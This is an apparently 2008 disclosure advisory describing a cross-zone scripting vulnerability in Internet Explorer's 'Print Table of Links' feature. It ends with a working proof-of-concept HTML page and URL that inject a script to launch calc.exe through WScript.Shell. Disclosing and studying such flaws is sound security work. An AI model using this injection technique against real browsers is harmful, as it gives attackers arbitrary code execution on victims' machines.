msie-crosszone.txt
Posted on 15 May 2008
<!-- Internet Explorer "Print Table of Links" Cross-Zone Scripting Vulnerability Author: Aviv Raff http://aviv.raffon.net/ Summary Internet Explorer is prone to a Cross-Zone Scripting vulnerability in its “Print Table of Links” feature. This feature allows users to add to a printed web page an appendix which contains a table of all the links in that webpage. An attacker can easily add a specially crafted link to a webpage (e.g. at his own website, comments in blogs, social networks, Wikipedia, etc.), so whenever a user will print this webpage with this feature enabled, the attacker will be able to run arbitrary code on the user’s machine (i.e. in order to take control over the machine). Affected version Internet Explorer 7.0 and 8.0b on a fully patched Windows XP. Windows Vista with UAC enabled is partially affected (Information Leakage only). Earlier versions of Internet Explorer may also be affected. Technical details Whenever a user prints a page, Internet Explorer uses a local resource script which generates an new HTML to be printed. This HTML consists of the following elements: Header, webpage body, Footer, and if enabled, also the table of links in the webpage. While the script takes only the text within the link’s inner data, it does not validate the URL of links, and add it to the HTML as it is. This allows to inject a script that will be executed when the new HTML will be generated. As I said in a previous post, most of the local resources in Internet Explorer are now running in Internet Zone. Unfortunately, the printing local resource script is running in Local Machine Zone, which means that any injected script can execute arbitrary code on the user’s machine. Proof of Concept The following is an example of a URL which executes Windows Calculator: http://www.google.com/?q=<script defer>new ActiveXObject(“Wscript.Shell”).run(“calc”)</script> --> <html> <body> Print me with table of links to execute calc.exe <a href="http://www.bla.com?x=b<script defer >var x=new ActiveXObject('WScript.Shell');x.Run('calc.exe');</script>a.c<u>o</u>m"></a> <script>window.print();</script> </body> </html>
